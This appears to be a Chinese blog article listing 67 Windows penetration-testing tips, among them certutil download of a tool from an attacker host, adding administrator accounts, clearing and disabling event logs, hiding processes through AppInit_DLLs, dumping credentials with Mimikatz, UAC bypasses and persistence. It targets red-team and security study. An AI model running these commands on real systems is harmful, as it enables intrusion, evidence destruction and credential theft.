跳到主要内容渗透测试实战技巧总结:67 条常用命令与绕过方法 | 极客日志PowerShell
渗透测试实战技巧总结:67 条常用命令与绕过方法
本文总结了渗透测试实战中的 67 条关键技巧,涵盖端口探测、凭证获取、权限提升、持久化维持、UAC 绕过及远程管理等核心领域。内容涉及 Windows 系统命令、PowerShell 脚本、注册表操作及多种白名单绕过方法。文章详细列出了具体命令示例与原理说明,旨在帮助安全从业人员掌握攻防技术细节,同时强调所有操作需在授权范围内进行,确保合规性。
渗透测试实战技巧总结
前言
本文汇总了渗透测试过程中常用的 67 条技术技巧,涵盖端口探测、权限提升、持久化维持、凭证获取及防御绕过等多个维度。这些内容主要用于安全评估、红队演练及防御体系建设。请注意,所有技术仅应在获得明确授权的系统上进行测试,未经授权的使用属于违法行为。
一、信息收集与端口探测
Tips 1. 手动端口探测
nmap 的 -sV 参数可以探测服务版本,但在某些特定场景下需要手动验证。使用 Wireshark 抓包可能过于复杂,可通过 nc (netcat) 简单判断。
例如连接 8001 端口并输入字符串,若返回 HTTP/1.1 400 Bad Request,则说明是 HTTP 服务,且可从响应头中获取服务器版本(如 Apache/2.4.23)和操作系统信息(如 Debian)。
Tips 2. Windows 系统从 Kali 下载文件
在渗透测试中,经常需要在 Kali Linux 上搭建简易 Web 服务器,供目标 Windows 机器拉取工具。
Kali 端启动服务:
python -m SimpleHTTPServer 80
certutil.exe -urlcache -split -f http://192.168.1.192/Client.exe 1.exe
certutil.exe -urlcache -split -f http://192.168.1.192/Client.exe delete
此方法利用了 Windows 内置工具,无需额外安装软件。
Tips 3. 配置工作组计算机支持 net use 远程连接
默认情况下,工作组环境下的本地账户远程连接可能受限。需添加用户并修改注册表策略。
添加管理员用户:
net user test test /add
net localgroup administrators test /add
reg add hklm\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1
Tips 4. Windows 日志清除
攻击后清理痕迹是常见需求。wevtutil 是管理 Windows 事件日志的强大工具。
列出日志分类:wevtutil el >1.txt
查看统计信息:wevtutil gli "windows powershell"
删除指定日志类别:wevtutil cl "windows powershell"
注意:部分高级防护软件会监控日志删除行为。
Tips 5. 破坏 Windows 日志记录功能
通过调用 TerminateThread 结束 Event Log 服务的线程,可使日志记录失效,但服务状态仍显示为运行中。
相关开源项目包括 Invoke-Phant0m 和 Windwos-EventLog-Bypass。
二、进程管理与隐藏
Tips 6. Win7 和 Windows Server 2008 R2 下的进程隐藏
利用 globalAPIhooks 修改注册表实现进程隐藏。需编译 DLL 并放置于特定目录(如 ProgramData),然后加载 AppInit_DLLs。
注册表配置示例:
reg add "hklm\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v RequireSignedAppInit_DLLs /t REG_DWORD /d 0
reg add "hklm\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v LoadAppInit_DLLs /t REG_DWORD /d 1 /f
reg add "hklm\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v AppInit_DLLs /t REG_SZ /d "C:\ProgramData\Microsoft\HelpLibrary\cldr.dll" /f
此时任务管理器、Process Explorer 等工具将无法看到该进程。
Tips 7. 同名 exe 和 com 文件执行顺序
在命令行中,如果路径下存在同名的 exe 和 com 文件(如 test.exe 和 test.com),直接输入 test 将优先执行 com 文件。COM 文件本质上是可重定向的 EXE 文件。
Tips 8. Windows 系统证书生成与注册
通过 makecert 和 signtool 生成自签名证书并对程序签名,可绕过部分 UAC 限制。
流程包括生成 Root.cer、Root.pfx 等文件,并使用 certmgr 注册到本地机器根证书存储。
Tips 9. hta 执行 vbs,加载 powershell
HTA (HTML Application) 文件可包含 VBScript 或 JavaScript,常用于执行 PowerShell 命令。
示例代码展示了如何通过 HTA 调用 WshShell.Run 执行隐藏的 PowerShell 脚本。
Tips 10. 通过 c# 编写 dll & 通过 rundll32.exe 或者 regsvr32 加载 dll
C# 默认不导出函数,需使用 UnmanagedExports 特性。生成的 DLL 可在对应 .NET 环境下运行。通过 rundll32 或 regsvr32 加载 DLL 时,必须包含特定的导出函数入口点。
Tips 11. Windows 下 cpl 文件介绍
CPL 文件本质是控制面板小程序,实为 DLL。可通过双击、rundll32 shell32.dll,Control_RunDLL 或 control 命令执行。也可通过 VBS/JS 调用 Shell.Application 对象加载。
Tips 12. Windows 下通过 cmd 调用 rundll32 执行一段代码弹回 Shell
利用 javascript: 协议配合 mshtml 组件,可执行 ActiveXObject 代码。此方法可用于构建后门,通过 WinHttp.WinHttpRequest 建立连接并执行远程代码。
Tips 13. 可通过内存 dump 还原出 putty&pageant 的密钥
对运行中的 Putty 或 Pageant 进程进行内存转储,可直接提取 SSH 密钥和密码。适用于 Windows 和 Linux 环境。
Tips 14. 针对 Visual Studio 的钓鱼利用
修改 .vcxproj、.vbproj 或 .fsproj 工程文件,可在编译阶段注入任意代码执行。这提示开发者需警惕第三方依赖库的安全性。
Tips 15. 32 位程序在 64 位 Windows 系统下执行的时候,如果有对注册表和文件的操作,存在重定向
32 位程序访问 HKLM\Software 会被重定向到 Wow6432Node。访问 System32 目录也会被重定向到 SysWOW64。了解此机制有助于正确定位配置文件。
三、凭证获取与域渗透
Tips 16. 获取 Windows 域控所有用户 hash
方法一:复制 ntds.dit 文件,使用 esentutl 和 QuarksPwDump 导出。
方法二:使用 DSInternals PowerShell Module 模块,适用于较新版本的 PowerShell。
Tips 17. 导出 Windows 系统明文口令
Windows Server 2012 默认禁用明文密码缓存。需启用 Wdigest Auth 策略(UseLogonCredential = 1),重启或重新登录后即可通过 Mimikatz 导出。
Tips 18. 可通过 Hook PasswordChangeNotify 实时记录域控管理员的新密码
通过 Hook API 拦截密码变更通知,可实时捕获新密码并上传至控制端。
Tips 19. 在域渗透时要记得留意域内主机的本地管理员账号
若域内主机使用相同的本地管理员账号和密码,可利用 Pass-the-Hash 横向移动登录其他主机。
Tips 20. 通过 powershell 获取 dll 的导出函数
使用 Get-Exports 脚本可分析 DLL 导出的函数列表,辅助寻找可被调用的入口点。
四、持久化与权限维持
Tips 21. 快捷方式的参数隐藏技巧
将 Payload 放置在快捷方式参数后的 260 个空字符之后,可避免在属性中直接查看,用于欺骗用户点击。
Tips 22. 32 位程序能够对 64 位进程进行远程注入
利用 CreateRemoteThread 等 API,32 位进程可向 64 位进程注入代码,需注意架构兼容性。
Tips 23. system 权限的进程在某些情况下需要进行降权
System 权限可能导致无法访问用户文件或环境变量差异。可使用 SelectMyParent.exe 或 msdtc 进行降权操作。
Tips 24. 通过命令行能够对 Windows 系统安装 WinPcap
在跳板机上安装 WinPcap 后,可运行 nmap 和 Masscan 进行网络扫描。
Tips 25. Windows 平台执行 mimikatz 的方法
- PowerShell 直接执行 Invoke-Mimikatz。
- InstallUtil.exe 加载编译好的 PE。
- Regsvr32 加载封装的 DLL。
- MSBuild 执行 XML 任务。
- CSI.exe 执行 C# 脚本。
- JS/VBS 脚本加载。
Tips 26. Windows 系统中可供存储和读取 payload 的位置
- WMI 类存储。
- 数字签名的 PE 文件(利用 Hash 缺陷)。
- 特殊 ADS (Alternate Data Streams) 或 COM 设备路径。
Tips 27. Windows 系统中值得搜集的信息
已注册的 WMI 信息(__EventFilter, CommandLineEventConsumer)可能包含持久化后门,可通过 wmic 查询。
Tips 28. Windows 系统反弹 meterpreter 的常用方法
- Rundll32 加载 DLL。
- CPL 文件执行。
- PowerShell 脚本执行。
Tips 29. Windows 系统加载 dll 的方法
除 Rundll32 外,还可使用 Regsvr32、Odbcconf、Tracker、Excel.RegisterXLL、Xwizard 等合法工具加载恶意 DLL。
Tips 30. Windows Persistence
- Bitsadmin 任务。
- MOF 文件注册 WMI 事件。
- WMI 订阅器。
- 计划任务劫持。
- Netsh Helper DLL。
- Shim 兼容层。
- DLL 劫持。
- DoubleAgent (Application Verifier)。
- Waitfor.exe。
- AppDomainManager。
- Office 加载项。
- CLR 劫持。
- MSDTC 服务。
- COM 对象劫持。
- Explorer.exe 劫持。
- FAX DLL 注入。
- Office 功能劫持。
- 特殊注册表键值。
- PowerShell 配置文件。
五、UAC 绕过与提权
Tips 31. UAC 绕过
- Eventvwr.exe + 注册表劫持。
- Sdclt.exe (Win10)。
- SilentCleanup (Win8/10)。
- Wscript.exe (Win7)。
- Cmstp.exe。
- 环境变量劫持高权限 .Net 程序。
- CLSID 劫持。
Tips 32. Visual Studio 生成的 exe 或是 dll 在其他系统使用,提示缺少相关 DLL 文件
解决方法是将程序打包发布,并在项目属性中选择多线程 (/MT) 链接库。
Tips 33. 使用 LaZagne 导出当前系统中常见应用存储的密码
LaZagne 可提取浏览器、Wifi、Git 等应用的密码,支持自定义脚本扩展。
Tips 34. 使用 powershell 读写文件
Get-Content/Set-Content 处理文本,[System.IO.File]::ReadAllBytes/WriteAllBytes 处理二进制。
Tips 35. powershell 作 base64 编码/解码
[System.Convert]::ToBase64String 和 FromBase64String 用于数据编码传输。
Tips 36. 如果 powershell 脚本被查杀,可以尝试使用 Invoke-Obfuscation 进行混淆
Tips 37. python 脚本转 exe
使用 py2exe 或 PyInstaller 打包,注意处理依赖和 Bug。
Tips 38. 普通用户权限向管理员权限的路径下写文件
利用 makecab 和 wusa 解压功能,可将文件释放到 System32 等受保护目录。
Tips 39. 在远程系统上执行程序的方法汇总
at, psexec, WMIC, wmiexec, smbexec, powershell remoting, DCOM。
Tips 40. 寻找 Windows 系统中可被利用的服务
枚举服务路径,检查是否有普通用户写权限,可尝试替换服务可执行文件提权。
Tips 41. 利用杀毒软件的配置错误实现自启动并优先于杀毒软件执行
Logon Scripts 在杀毒软件启动前执行,可配置为持久化手段。
Tips 42. 编译 c# 程序注意事项
项目名需与 namespace 一致,否则生成的 DLL 无法正确加载。使用 csc.exe 时需指定 /out 参数。
Tips 43. 使用 net use 远程连接的端口问题
优先使用 445 端口,若禁用则回退至 139。禁用 NetBIOS over TCP/IP 则无法连接。
Tips 44. 获得 TrustedInstaller 权限
启动 TrustedInstaller 服务,通过 Token 复制(SelectMyParent, Incognito)获取权限。
Tips 45. 3389 远程连接
查询和开启 3389 端口,支持多用户登录(ts::multirdp)。
Tips 46. 使用 netsh 修改远程系统的防火墙规则
需开启远程管理权限,通过 -r 参数指定远程 IP。
Tips 47. 劫持 UAC
修改注册表劫持签名验证功能,在弹出 UAC 框时执行代码。
Tips 48. PE 文件的 Authenticode 签名伪造
Tips 49. PE 文件的 Catalog 签名伪造
构造 Long UNC 文件名欺骗 Catalog 签名。
Tips 50. mklink
创建符号链接(/D)或联接(/J),用于更改文件释放路径或绕过权限检查。
六、远程管理与数据操作
Tips 51. powershell 在执行脚本时传入参数
使用 -Command 参数传递复杂命令,注意引号转义。
Tips 52. dll 注入方法
APC 注入、Process Hollowing、Process Doppelganging。
Tips 53. 域内默认共享目录
\\SYSVOL\ 包含组策略数据,可尝试还原其中保存的密码。
Tips 54. 你的 TeamViewer 有可能被反控
旧版本 TeamViewer 存在漏洞,连接未知服务器可能被反向控制。
Tips 55. 远程查看域控登录、注销相关的日志
使用 wevtutil 远程查询 Security 日志,筛选事件 ID 4624/4623/4672。
Tips 56. 判断当前系统是否处在待机状态
GetForegroundWindow() 返回值可判断锁屏状态。
Tips 57. 获得当前系统用户无输入的时间
通过 API GetIdleTime 判断用户空闲时间。
Tips 58. 判断当前系统的屏保启动时间
查询注册表 HKEY_CURRENT_USER\Control Panel\Desktop 中的 SCRNSAVE.EXE 和 ScreenSaveTimeOut。
Tips 59. 隐藏指定进程的界面
通过 API ShowWindowAsync 改变窗口状态,或使用 PowerShell 脚本。
Tips 60. 通过 Powershell 对 Windows 系统截屏
使用 Take-ScreenShot.ps1 脚本实现。
Tips 61. 查看当前 Windows 系统已安装的程序
枚举注册表 Uninstall 键值,注意 64 位系统的 Wow6432Node 路径。
Tips 62. 通过 wmi 获得当前系统的类型
wmic 查询 Win32_ComputerSystem 获取 PCSystemType。
Tips 63. 导出 Chrome 浏览器保存的密码
在线获取需解密数据库文件;离线获取需 Master Key。
Tips 64. 通过 ShadowCopy 获得系统的历史文件
使用 vssadmin 查询快照,mklink 挂载访问历史文件。
Tips 65. 命令行执行多条命令的方法
&& (成功继续), || (失败继续), & (并行)。
Tips 66. 通过 powershell 发送邮件 (包含附件)
使用 System.Net.Mail 类发送带附件邮件。
Tips 67. 通过 powershell 读取注册表获得所有用户的远程桌面连接历史记录
使用 reg load 加载未登录用户的配置单元读取注册表。
结语
以上技巧涵盖了渗透测试的核心环节。在实际工作中,请务必遵守法律法规,仅在授权范围内使用。建议结合自动化扫描工具与人工审计,构建更完善的安全防御体系。
相关免费在线工具
- Base64 字符串编码/解码
将字符串编码和解码为其 Base64 格式表示形式即可。 在线工具,Base64 字符串编码/解码在线工具,online
- Base64 文件转换器
将字符串、文件或图像转换为其 Base64 表示形式。 在线工具,Base64 文件转换器在线工具,online
- Markdown转HTML
将 Markdown(GFM)转为 HTML 片段,浏览器内 marked 解析;与 HTML转Markdown 互为补充。 在线工具,Markdown转HTML在线工具,online
- HTML转Markdown
将 HTML 片段转为 GitHub Flavored Markdown,支持标题、列表、链接、代码块与表格等;浏览器内处理,可链接预填。 在线工具,HTML转Markdown在线工具,online
- JSON 压缩
通过删除不必要的空白来缩小和压缩JSON。 在线工具,JSON 压缩在线工具,online
- JSON美化和格式化
将JSON字符串修饰为友好的可读格式。 在线工具,JSON美化和格式化在线工具,online